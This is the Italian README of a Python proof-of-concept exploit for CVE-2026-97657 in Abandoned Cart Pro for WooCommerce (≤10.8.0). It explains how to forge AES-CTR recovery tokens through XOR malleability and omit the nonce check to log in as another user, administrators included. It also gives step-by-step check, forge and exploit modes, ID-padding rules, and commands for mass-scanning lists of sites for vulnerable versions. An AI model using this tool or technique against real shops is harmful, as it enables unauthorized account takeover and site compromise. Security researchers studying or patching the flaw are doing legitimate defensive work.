
PoC in Python per CVE-2026-97657: falsifica token di recupero AES-CTR tramite malleabilità XOR per aggirare l'autenticazione e assumere il controllo degli account WordPress in Abandoned Cart Pro ≤10.8.0.
PoC in Python 3 per CVE-2026-97657 — Abandoned Cart Pro for WooCommerce (Tyche Softwares) ≤ 10.8.0. CNA: Wordfence.
| Prodotto | Abandoned Cart Pro for WooCommerce |
| Affette | ≤ 10.8.0 (aggiornare a una release corretta superiore alla 10.8.0) |
| CWE | CWE-639 — bypass dell'autorizzazione tramite chiave controllata dall'utente |
| CVSS 3.1 | 9.8 Critico |
| Marker di verifica | POCBIT-97657-OK (controllo sessione/admin) |
| PoCbit | https://pocbit.org/pocs/cve-2026-97657 |
I link di recupero utilizzano token AES-CTR senza MAC (layout compatibile con Wcal_Aes_Ctr: nonce CTR di 8 byte + ciphertext, base64). Il plugin carica la encrypt_key per-email dal parametro di query user_email controllato dall'attaccante. In wcap_email_track_links() (Pro; analogo Lite wcal_email_track_links()), il controllo wcap_nonce / HMAC viene eseguito solo quando wcap_nonce è non vuoto, quindi ometterlo salta la verifica di integrità. Dopo la decifratura, l'abandoned_id (ID della riga del carrello) viene utilizzato senza dimostrare che appartenga a quell'email, poi viene eseguito wp_set_auth_cookie() quando l'auto-login è abilitato (impostazione predefinita).
Un attaccante non autenticato con un URL di recupero legittimo dalla propria email di promemoria può manipolare tramite XOR il ciphertext CTR per cambiare l'ID del carrello incorporato con l'ID del carrello abbandonato della vittima (stessa lunghezza dell'ID di origine), aprire l'URL falsificato senza wcap_nonce ed effettuare l'accesso come la vittima (inclusi gli amministratori che hanno abbandonato un carrello).
Forma tipica dell'URL (Pro):
GET /?wacp_action=checkout_link&[email protected]&validate=<token>
(esistono varianti wcap_action / wcal_action; gli URL dei track-link possono includere parametri aggiuntivi come c=.)
cd CVE-2026-97657
pip install -r requirements.txt
requests, urllib3| Modalità | Scopo | Argomenti richiesti |
|---|---|---|
check (predefinita) | Legge il file readme.txt del plugin, segnala la versione ≤ 10.8.0 | -t URL o --list FILE |
forge | Costruisce localmente un URL di recupero falsificato (senza HTTP) | --recovery-link, --source-cart-id, --target-cart-id |
exploit | Falsifica il token + HTTP GET + verifica della sessione WordPress | Come per forge |
Flusso di lavoro consigliato (laboratorio autorizzato):
check massivo o singolo — conferma lo slug del plugin + versione ≤ 10.8.0.forge — convalida il padding dell'ID carrello e la forma dell'URL prima di inviare traffico.exploit — una GET all'URL di recupero falsificato; conferma i cookie + /wp-admin/.Exploit/forge non utilizza -t / --list. L'host di destinazione viene ricavato da --recovery-link (schema + host).
| Requisito | Motivo |
|---|---|
| Un URL di recupero legittimo | Fornisce un nonce CTR valido + ciphertext e (di solito) la tua riga user_email / encrypt_key in ac_sent_history |
| Plugin ≤ 10.8.0 con auto-login abilitato (predefinito) | Le build corrette o l'auto-login disabilitato bloccano wp_set_auth_cookie() |
| Utente WordPress registrato vittima con una riga di carrello abbandonato | Il percorso di takeover effettua il login con user_id da ac_abandoned_cart_history; i carrelli puramente guest usano un ramo diverso |
URL checkout_link fortemente preferito | Il testo in chiaro è {abandoned_cart_id}&url=.... I token track_links codificano email_sent_id, non l'ID carrello — un tipo di ID errato compromette il forge |
| ID di lunghezza uguale | La malleabilità XOR del CTR inverte i byte solo 1:1; aggiungi padding con zeri (vedi sotto) |
--recovery-linkcheckout_link dall'email (o dai webhook / export del plugin se abilitati).Esempi di forme Pro (dalla documentazione del fornitore / webhook):
https://shop.example/?wacp_action=checkout_link&validate=<base64-token>
https://shop.example/?wacp_action=checkout_link&[email protected]&validate=<token>
https://shop.example/?wacp_action=track_links&[email protected]&validate=<token>&c=<coupon-token>
Incolla l'URL esattamente come nell'email (incluso validate; l'ordine dei parametri di query non ha importanza).
| Fonte | Campo |
|---|---|
| WooCommerce Abandoned Cart → Cart details (admin) | ID del carrello abbandonato (chiave primaria del DB) |
Payload del Webhook (contesto wcap_cart, checkout_link) | "id": "383" sulla risorsa del carrello |
| MySQL (lab) | wp_ac_abandoned_cart_history.id (il prefisso della tabella Pro può variare) |
--source-cart-id deve essere l'ID all'interno del testo in chiaro del tuo token (la tua riga del carrello abbandonato). --target-cart-id è la riga della vittima nella stessa tabella.
Il PoC rifiuta lunghezze non corrispondenti. Aggiungi zeri a entrambi gli ID fino alla stessa larghezza:
| Fonte (tua) | Target (vittima) | OK? |
|---|---|---|
383 | 001 | Sì (3 caratteri) |
0383 | 0001 | Sì (4 caratteri) |
383 | 1 | No — esegui forge con 0383 / 0001 invece |
| Flag | Modalità | Significato |
|---|---|---|
-t, --target | check | Radice del sito WordPress, ad es. https://shop.example.com |
--list FILE | check | Un URL di sito per riga; i commenti # vengono ignorati |
--mode | tutte | check (predefinita), forge, exploit |
--recovery-link URL | forge, exploit | URL di recupero completo dall'email di promemoria |
--source-cart-id | forge, exploit | L'ID della tua riga del carrello abbandonato (nel testo in chiaro del token) |
--target-cart-id | forge, exploit | L'ID della riga del carrello abbandonato della vittima (stessa lunghezza della stringa) |
-j N | check (list) | Worker paralleli (predefinito 8) |
--timeout SEC | check, exploit | Timeout HTTP (predefinito 15) |
--insecure | check, exploit | Disabilita la verifica del certificato TLS |
--jsonl FILE | check, exploit | Aggiunge un oggetto JSON per ogni esecuzione |
--vuln-list FILE | check | Scrive gli URL con versione ≤ 10.8.0 |
-q, --quiet | tutte | Meno output sulla console |
--no-color | tutte | Terminale semplice |
Codici di uscita
| Codice | Quando |
|---|---|
| 0 | Exploit: success: true; forge: sempre; check: sempre (singolo -t) |
| 1 | Exploit: verifica login/admin fallita |
| 2 | Esecuzione di check list senza semantica -t (informativo) |
python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt --jsonl scan.jsonl
Probe:
/wp-content/plugins/woocommerce-abandon-cart-pro/readme.txtwoocommerce-abandoned-cart-pro